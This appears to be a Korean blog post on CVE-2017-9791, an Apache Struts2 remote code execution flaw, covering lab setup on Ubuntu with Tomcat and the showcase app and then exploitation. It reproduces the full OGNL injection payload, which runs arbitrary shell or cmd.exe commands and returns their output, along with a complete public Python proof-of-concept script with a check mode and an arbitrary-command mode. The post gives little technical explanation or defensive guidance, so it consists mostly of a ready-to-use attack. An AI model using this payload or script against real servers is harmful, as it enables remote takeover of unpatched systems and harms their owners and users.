[CVE-2017-9791] Apache Struts2 RCE Exploit
Apache Struts에 대한 지식이 그리 풍부하지 않다. 따라서, 자세한 기술적인 내용은 추후로 미루고, Exploit 환경 구성부터 Exploit 까지의 절차를 다룬다.
Exploit 환경
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 |
root@struts2:~# cat /etc/*-release DISTRIB_ID=Ubuntu DISTRIB_RELEASE=16.04 DISTRIB_CODENAME=xenial DISTRIB_DESCRIPTION="Ubuntu 16.04.2 LTS" NAME="Ubuntu" VERSION="16.04.2 LTS (Xenial Xerus)" ID=ubuntu ID_LIKE=debian PRETTY_NAME="Ubuntu 16.04.2 LTS" VERSION_ID="16.04" HOME_URL="http://www.ubuntu.com/" SUPPORT_URL="http://help.ubuntu.com/" BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/" VERSION_CODENAME=xenial UBUNTU_CODENAME=xenial root@struts2:~# java -version openjdk version "1.8.0_131" OpenJDK Runtime Environment (build 1.8.0_131-8u131-b11-0ubuntu1.16.04.2-b11) OpenJDK 64-Bit Server VM (build 25.131-b11, mixed mode) root@struts2:~# javac -version javac 1.8.0_131 root@struts2:~# /usr/share/tomcat8/bin/version.sh Using CATALINA_BASE: /usr/share/tomcat8 Using CATALINA_HOME: /usr/share/tomcat8 Using CATALINA_TMPDIR: /usr/share/tomcat8/temp Using JRE_HOME: /usr Using CLASSPATH: /usr/share/tomcat8/bin/bootstrap.jar:/usr/share/tomcat8/bin/tomcat-juli.jar Server version: Apache Tomcat/8.0.32 (Ubuntu) Server built: Mar 9 2017 21:38:04 UTC Server number: 8.0.32.0 OS Name: Linux OS Version: 4.4.0-62-generic Architecture: amd64 JVM Version: 1.8.0_131-8u131-b11-0ubuntu1.16.04.2-b11 JVM Vendor: Oracle Corporation root@struts2:~# ls struts2 struts-2.3.32-all.zip root@struts2:~# ifconfig ens33 Link encap:Ethernet HWaddr 00:0c:29:ab:0b:f7 inet addr:192.168.255.134 Bcast:192.168.255.255 Mask:255.255.255.0 inet6 addr: fe80::20c:29ff:feab:bf7/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:545242 errors:0 dropped:0 overruns:0 frame:0 TX packets:291149 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:718535320 (718.5 MB) TX bytes:57152040 (57.1 MB) lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:65536 Metric:1 RX packets:167 errors:0 dropped:0 overruns:0 frame:0 TX packets:167 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1 RX bytes:12217 (12.2 KB) TX bytes:12217 (12.2 KB) |
현재 공개된 PoC는 Apache Struts 설치 시 포함되어 있는 showcase app을 대상으로 작성되었다. 따라서, 이 showcase app을 구동시켜야 한다. showcase app을 구동시키는 방법은 간단하다. struts2-showcase.war 파일을 tomcat의 webapps 폴더에 저장해 놓으면, tomcat이 구동되면서 자동으로 압축을 해제하고 실행되도록 한다.
Payload
1 |
%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='명령어').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} |
공개된 PoC 코드는 아래와 같다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 |
''' Created on 2017-7-8 CVE: CVE-2017-9791 @author: DragonEgg ''' import sys import urllib import httplib import urllib2 httplib.HTTPConnection._http_vsn = 10 httplib.HTTPConnection._http_vsn_str = 'HTTP/1.0' def request(cmd): cmd = urllib.quote(cmd) data2="name=%25%7B%28%23_%3D%27multipart%2fform-data%27%29.%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmd%3D%27"+cmd+"%27%29.%28%23iswin%3D%28@java.lang.System@getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27%2fc%27%2C%23cmd%7D%3A%7B%27%2fbin%2fbash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%23ros%3D%28@org.apache.struts2.ServletActionContext@getResponse%28%29.getOutputStream%28%29%29%29.%28@org.apache.commons.io.IOUtils@copy%28%23process.getInputStream%28%29%2C%23ros%29%29.%28%23ros.flush%28%29%29%7D&age=123&__cheackbox_bustedBefore=true&description=123" return data2 def post(url, data): try: req = urllib2.urlopen(url, data) content = req.read() return content except urllib2.URLError, e: print e exit() def check(url): data=request('echo dragonegg') res = post(url, data) if 'dragonegg' in res: print 's2-048 \033[1;32m EXISTS \033[0m!' else: print 's2-048 \033[1;31m NOT EXISTS \033[0m!' def poc(url,cmd): data=request(cmd) res = post(url, data) print res def Usage(): print 'check:' print ' python file.py http://1.1.1.1/struts2-showcase/integration/saveGangster.action' print 'poc:' print ' python file.py http://1.1.1.1/struts2-showcase/integration/saveGangster.action command' if __name__ == '__main__': if len(sys.argv) == 2: check(sys.argv[1]) elif len(sys.argv) == 3: poc(sys.argv[1],sys.argv[2]) else: Usage() exit() |
References
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9791
http://www.boannews.com/media/view.asp?idx=55726
https://github.com/dragoneeg/Struts2-048
http://struts.apache.org/download.cgi#struts25101